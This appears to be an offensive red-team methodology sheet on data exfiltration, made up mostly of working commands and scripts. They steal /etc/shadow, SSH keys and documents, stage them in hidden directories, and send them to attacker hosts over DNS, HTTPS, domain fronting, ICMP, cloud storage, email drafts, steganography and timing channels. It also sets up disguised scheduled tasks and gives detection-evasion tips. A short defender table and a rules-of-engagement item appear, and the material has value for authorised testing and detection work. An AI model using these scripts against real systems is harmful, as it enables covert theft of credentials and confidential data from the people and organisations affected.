offensive-data-exfiltration

Data Exfiltration -- Offensive Methodology

Quick Workflow

1. Inventory target data. Map files, databases, credentials. Assess volume and classification.
2. Stage. Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
3. Compress and split. Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
4. Encrypt. AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
5. Select channel. DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
6. Transmit. Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
7. Verify receipt. Recompute SHA-256 on the receiving end and compare against source manifest.
8. Clean up. Securely delete staging, temp files, dropped tools, and any scheduled tasks.

---

DNS Exfiltration

MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS

dnscat2

# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret

# Client on target
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret

# Server console -- file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow

# Force CNAME queries to avoid TXT-based detection
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret

iodine Tunneling

# Server (authoritative NS)
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com

# Client -- creates dns0 interface at 10.0.0.2
iodine -f -P ExfilPassword tunnel.yourdomain.com
scp /tmp/staged.tar.enc attacker@10.0.0.1:/loot/

dns2tcp

# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
dns2tcpd -f /etc/dns2tcpd.conf

# Client -- tunnel SSH over DNS
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
ssh -p 2222 attacker@127.0.0.1

TXT/CNAME Record Encoding

import base64, dns.resolver

def dns_exfil(data, domain, chunk_size=60):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
        try: dns.resolver.resolve(query, "TXT")
        except Exception: pass  # data is in the query itself

Slow-Drip DNS

import random, time, base64, dns.resolver

def slow_drip_exfil(data, domain, min_delay=30, max_delay=120):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), 60)):
        query = f"{seq}.{encoded[i:i+60]}.d.{domain}"
        try: dns.resolver.resolve(query, "A")
        except Exception: pass
        time.sleep(random.uniform(min_delay, max_delay))

PacketWhisper exfiltrates via DNS without owning a server -- encodes data as queries captured from a PCAP: python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1.

---

HTTPS Tunneling

MITRE: T1041 -- Exfiltration Over C2 Channel; T1071.001 -- Web Protocols

stunnel

Server wraps a port 8080 listener in TLS on 443. Client: stunnel -c -d 127.0.0.1:9090 -r attacker.com:443, then cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090.

Domain Fronting via CDN

# Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server
curl -s -H "Host: your-collection.azureedge.net" \
    --data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload

# chisel full tunnel behind CDN
chisel server --port 443 --reverse --auth user:pass  # server side
chisel client --header "Host: your-collection.azureedge.net" \
    https://legitimate-cdn-domain.com R:socks         # client side

Legitimate Service Abuse

# Slack webhook
curl -X POST -H 'Content-type: application/json' \
    --data "{\"text\":\"$(base64 /tmp/chunk_001.enc)\"}" \
    https://hooks.slack.com/services/T00/B00/XXX

# GitHub Gist -- private gist per chunk
import requests, base64
def gist_exfil(data, token):
    requests.post("https://api.github.com/gists",
        json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}},
        headers={"Authorization": f"token {token}"})

# Pastebin API from Windows
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc"))
Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{
    api_dev_key="KEY"; api_option="paste"; api_paste_code=$data; api_paste_private="2"}

---

ICMP Tunneling

MITRE: T1048.003 -- Non-Application Layer Protocol

icmpsh

# Attacker
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python3 icmpsh_m.py attacker_ip target_ip

Target (Windows): icmpsh.exe -t attacker_ip -d 500 -b 30 -s 128

ptunnel-ng

ptunnel-ng -r0.0.0.0 -R22                              # server (attacker)
ptunnel-ng -p attacker_ip -l 2222 -r 127.0.0.1 -R 22   # client (target)
scp -P 2222 /tmp/staged.tar.enc attacker@127.0.0.1:/loot/

Raw ICMP Embedding

import struct, socket

def icmp_exfil(data, dest_ip, chunk_size=48):
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    for seq, i in enumerate(range(0, len(data), chunk_size)):
        chunk = data[i:i+chunk_size]
        hdr = struct.pack("!BBHHH", 8, 0, 0, 0x1337, seq)
        pkt = hdr + chunk
        s = sum(struct.unpack("!%dH" % (len(pkt)//2), pkt[:len(pkt)&~1]))
        if len(pkt) % 2: s += pkt[-1] << 8
        s = (s >> 16) + (s & 0xFFFF); s += s >> 16
        hdr = struct.pack("!BBHHH", 8, 0, ~s & 0xFFFF, 0x1337, seq)
        sock.sendto(hdr + chunk, (dest_ip, 0))
    sock.close()

Keep payloads under 64 bytes to match standard ping. Larger payloads increase throughput but trigger IDS.

---

Cloud Storage Dead Drops

MITRE: T1567.002 -- Exfiltration to Cloud Storage

S3 Presigned URLs

import boto3
def s3_upload_url(bucket, key, expiry=3600):
    return boto3.client("s3").generate_presigned_url(
        "put_object", Params={"Bucket": bucket, "Key": key}, ExpiresIn=expiry)

curl -X PUT -T /tmp/staged.tar.enc "https://bucket.s3.amazonaws.com/drop/d.enc?X-Amz-Algorithm=..."

Azure Blob SAS Tokens

$ctx = New-AzStorageContext -StorageAccountName "exfilacct" -StorageAccountKey "..."
$sas = New-AzStorageBlobSASToken -Container "drops" -Blob "d.enc" -Permission w `
    -ExpiryTime (Get-Date).AddHours(2) -Context $ctx
Invoke-RestMethod -Uri "https://exfilacct.blob.core.windows.net/drops/d.enc$sas" `
    -Method PUT -Headers @{"x-ms-blob-type"="BlockBlob"} -InFile "C:\staged\data.enc"

GCS Signed URLs

from google.cloud import storage
import datetime
def gcs_upload_url(bucket_name, blob_name, minutes=60):
    blob = storage.Client().bucket(bucket_name).blob(blob_name)
    return blob.generate_signed_url(version="v4", method="PUT",
        expiration=datetime.timedelta(minutes=minutes), content_type="application/octet-stream")

Presigned URLs need no credentials on the target. Rotate buckets between drops.

---

Email-Based Exfiltration

MITRE: T1048.002 -- Asymmetric Encrypted Non-C2 Protocol

SMTP

import smtplib
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email import encoders

def smtp_exfil(filepath, server, from_addr, to_addr, password):
    msg = MIMEMultipart(); msg["From"]=from_addr; msg["To"]=to_addr; msg["Subject"]="Q3 Report"
    with open(filepath, "rb") as f:
        part = MIMEBase("application", "octet-stream"); part.set_payload(f.read())
    encoders.encode_base64(part)
    part.add_header("Content-Disposition", "attachment; filename=report.xlsx")
    msg.attach(part)
    with smtplib.SMTP_SSL(server, 465) as s: s.login(from_addr, password); s.send_message(msg)

Exchange Web Services

from exchangelib import Credentials, Account, FileAttachment, Message
def ews_exfil(filepath, email, password, recipient):
    account = Account(email, credentials=Credentials(email, password), autodiscover=True)
    with open(filepath, "rb") as f:
        att = FileAttachment(name="data.xlsx", content=f.read())
    m = Message(account=account, subject="Updated Spreadsheet", to_recipients=[recipient])
    m.attach(att); m.send()

Draft Method

Store data in drafts -- no email transits the network, no sent-mail evidence:

from exchangelib import Account, Credentials, Message
def draft_exfil(data_b64, email, password):
    account = Account(email, credentials=Credentials(email, password), autodiscover=True)
    Message(account=account, subject="", body=data_b64, is_draft=True).save(account.drafts)

---

Steganography

MITRE: T1001.002 -- Data Obfuscation: Steganography

Image

steghide embed -cf carrier.jpg -ef secret.enc -p "Pass" -f    # JPEG/BMP
steghide extract -sf carrier.jpg -p "Pass" -xf out.enc
zsteg carrier.png                                              # PNG analysis
openstego embed -mf secret.enc -cf cover.png -sf stego.png -p "Pass"

from PIL import Image
import struct

def lsb_embed(cover_path, data, output_path):
    img = Image.open(cover_path); pixels = list(img.getdata())
    payload = struct.pack(">I", len(data)) + data
    bits = []
    for byte in payload:
        for i in range(7, -1, -1): bits.append((byte >> i) & 1)
    if len(bits) > len(pixels) * 3: raise ValueError("Payload too large")
    idx = 0; new_pixels = []
    for px in pixels:
        np = list(px)
        for c in range(min(3, len(np))):
            if idx < len(bits): np[c] = (np[c] & 0xFE) | bits[idx]; idx += 1
        new_pixels.append(tuple(np))
    out = Image.new(img.mode, img.size); out.putdata(new_pixels); out.save(output_path)

Audio

import wave, struct

def wav_lsb_embed(cover_wav, data, output_wav):
    with wave.open(cover_wav, "rb") as w:
        params = w.getparams(); frames = bytearray(w.readframes(w.getnframes()))
    payload = struct.pack(">I", len(data)) + data
    bits = []
    for byte in payload:
        for i in range(7, -1, -1): bits.append((byte >> i) & 1)
    for i, bit in enumerate(bits): frames[i] = (frames[i] & 0xFE) | bit
    with wave.open(output_wav, "wb") as w: w.setparams(params); w.writeframes(bytes(frames))

Document Metadata

exiftool -Comment="$(base64 secret.enc)" carrier.jpg          # EXIF embed
cat carrier.jpg secret.enc > output.jpg                        # append after FFD9

from PyPDF2 import PdfReader, PdfWriter
def pdf_metadata_exfil(pdf_path, data_b64, output_path):
    reader = PdfReader(pdf_path); writer = PdfWriter()
    for page in reader.pages: writer.add_page(page)
    chunks = [data_b64[i:i+1000] for i in range(0, len(data_b64), 1000)]
    writer.add_metadata({f"/Custom{i:04d}": c for i, c in enumerate(chunks)})
    with open(output_path, "wb") as f: writer.write(f)

---

Encoding and Encryption

Base64 / Hex / Base32 Chunking

base64 -w0 staged.tar.gz | fold -w 60 > /tmp/chunks.txt      # base64 chunks
xxd -p staged.enc > staged.hex                                 # hex for DNS labels
python3 -c "import base64; print(base64.b32encode(open('staged.enc','rb').read()).decode())"

XOR

def xor_encrypt(data, key):
    kb = key.encode() if isinstance(key, str) else key
    return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))

AES-256-GCM

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import hashlib

def aes_encrypt_file(infile, outfile, password):
    salt = get_random_bytes(16)
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), salt, 100000)
    cipher = AES.new(key, AES.MODE_GCM)
    with open(infile, "rb") as f: pt = f.read()
    ct, tag = cipher.encrypt_and_digest(pt)
    with open(outfile, "wb") as f: f.write(salt + cipher.nonce + tag + ct)

def aes_decrypt_file(infile, outfile, password):
    with open(infile, "rb") as f: d = f.read()
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), d[:16], 100000)
    pt = AES.new(key, AES.MODE_GCM, nonce=d[16:32]).decrypt_and_verify(d[48:], d[32:48])
    with open(outfile, "wb") as f: f.write(pt)

openssl enc -aes-256-cbc -salt -pbkdf2 -in data.tar.gz -out data.enc -pass pass:Key

---

Covert Channels

HTTP Header Encoding

import base64, urllib.request

def http_header_exfil(data, url, chunk_size=256):
    encoded = base64.b64encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        req = urllib.request.Request(url)
        req.add_header("X-Request-ID", f"{seq:06d}")
        req.add_header("X-Correlation-Token", encoded[i:i+chunk_size])
        try: urllib.request.urlopen(req)
        except Exception: pass

chisel SOCKS Tunnel

chisel server --port 8443 --reverse --tls-key server.key --tls-cert server.crt
chisel client --header "User-Agent: Mozilla/5.0" https://server:8443 R:9050:socks
curl --socks5 127.0.0.1:9050 -X PUT -T /tmp/staged.enc http://collector/upload

IP ID Field Encoding

from scapy.all import IP, TCP, send
def ip_id_exfil(data, dest_ip, port=80):
    for i, byte in enumerate(data):
        send(IP(dst=dest_ip, id=byte)/TCP(dport=port, sport=12345+i, flags="S"), verbose=False)

Timing Channels

import time, socket

def timing_exfil(data, dest_ip, dest_port, bit_time=0.1):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((dest_ip, dest_port))
    for byte in data:
        for i in range(7, -1, -1):
            bit = (byte >> i) & 1
            time.sleep(bit_time * 2 if bit else bit_time)
            sock.send(b"\x00")
    sock.close()

Timing channels: bits/second throughput, nearly undetectable. Use for keys and passwords only.

---

Data Staging

MITRE: T1074.001 -- Local Data Staging; T1029 -- Scheduled Transfer; T1030 -- Data Transfer Size Limits

Linux Pipeline

mkdir -p /tmp/.cache/updates
cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null
tar czf /tmp/.cache/updates/pkg.tar.gz -C /tmp/.cache/updates .
openssl enc -aes-256-cbc -salt -pbkdf2 -in /tmp/.cache/updates/pkg.tar.gz \
    -out /tmp/.cache/updates/pkg.enc -pass pass:EngagementKey
split -b 65536 /tmp/.cache/updates/pkg.enc /tmp/.cache/updates/chunk_
sha256sum /tmp/.cache/updates/chunk_* > /tmp/.cache/updates/manifest.sha256

Windows Pipeline

$s = "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\V01"
New-Item -ItemType Directory -Force -Path $s | Out-Null
Copy-Item "C:\Users\*\Documents\*.docx","C:\Users\*\.ssh\*" $s -Force 2>$null
Compress-Archive -Path "$s\*" -DestinationPath "$s\update.zip" -Force
# Encrypt with .NET AES, prepend IV to ciphertext, split into 64KB chunks

Scheduled Transfers

# Cron -- one chunk every 30 min during business hours
(crontab -l 2>/dev/null; echo "*/30 8-17 * * 1-5 /tmp/.cache/exfil.sh") | crontab -

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -File C:\staged\exfil.ps1"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) `
    -RepetitionInterval (New-TimeSpan -Minutes 30)
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger

---

Detection / Defender View

| Technique | Detection Signal | Defender Tool |

|-----------|-----------------|---------------|

| DNS exfil | High query volume, long labels, high entropy, unusual record types | Passive DNS, Zeek dns.log, entropy scoring |

| HTTPS tunnel | Persistent TLS, beaconing, JA3 mismatch, SNI/Host mismatch | TLS inspection, JA3 fingerprinting, NetFlow |

| ICMP tunnel | Large payloads, high ICMP volume, non-standard payload data | IDS payload rules, Zeek conn.log |

| Cloud dead drops | PUT to unfamiliar cloud endpoints from internal hosts | CASB, proxy logs, cloud API monitoring |

| Email exfil | Large/encrypted attachments, unusual recipients, draft volume | DLP gateway, Exchange audit logs |

| Steganography | Entropy anomalies, appended data after markers, stego signatures | StegExpose, file carving |

| Covert channels | Anomalous headers, irregular timing, non-standard protocol | DPI, protocol anomaly, ML traffic analysis |

Evasion Notes

• Match DNS query rate to baseline; prefer A/AAAA over TXT/NULL records.
• Use browser-matching JA3 fingerprints; curl's TLS signature is distinctive.
• Keep ICMP payloads under 64 bytes. Rotate cloud buckets. Transfer during peak hours.

---

Engagement Cheatsheet

| Scenario | Channel | Tool | Notes |

|----------|---------|------|-------|

| Only port 53 | DNS tunnel | iodine, dnscat2 | Slow; slow-drip for stealth |

| DNS, no infra | DNS query encoding | PacketWhisper | No auth NS needed |

| Web access | HTTPS | chisel, curl | Fastest; blend with traffic |

| Domain filtering | Domain fronting | curl + CDN | CDN must allow fronting |

| Ping allowed | ICMP | ptunnel-ng, icmpsh | Limited BW; keys/creds |

| Cloud access | Dead drop | S3/Azure/GCS URLs | No client tools needed |

| Email available | SMTP/EWS/draft | smtplib, exchangelib | Draft = no sent evidence |

| Content inspection | Stego + HTTPS | steghide + curl | Carrier must look normal |

| Extreme monitoring | Timing channel | Custom Python | Bits/sec; near-undetectable |

| Single file < 1MB | DNS TXT | Custom script | No tools to drop |

| Large dataset > 1GB | HTTPS or cloud | chisel, presigned URL | Daily chunks |

Pre-Exfil Checklist

• Verify exfil is in scope per RoE
• Identify egress channels; stage in innocuous directory
• Compress, encrypt (AES-256 min), split into channel-sized chunks
• Generate SHA-256 manifest; test with canary file first
• Set rate below detection thresholds; verify receipt and integrity
• Securely delete staging and tools; document exfil chain for report

---

Key References

• MITRE ATT&CK Exfiltration (TA0010): https://attack.mitre.org/tactics/TA0010/
• T1048, T1041, T1567, T1029, T1030, T1132, T1001
• dnscat2: https://github.com/iagox86/dnscat2
• iodine: https://github.com/yarrick/iodine
• dns2tcp: https://github.com/alex-sector/dns2tcp
• chisel: https://github.com/jpillora/chisel
• ptunnel-ng: https://github.com/lnslbrty/ptunnel-ng
• icmpsh: https://github.com/bdamele/icmpsh
• steghide: https://steghide.sourceforge.net/
• PacketWhisper: https://github.com/TryCatchHCF/PacketWhisper
• OpenStego: https://www.openstego.com/
• zsteg: https://github.com/zed-0xff/zsteg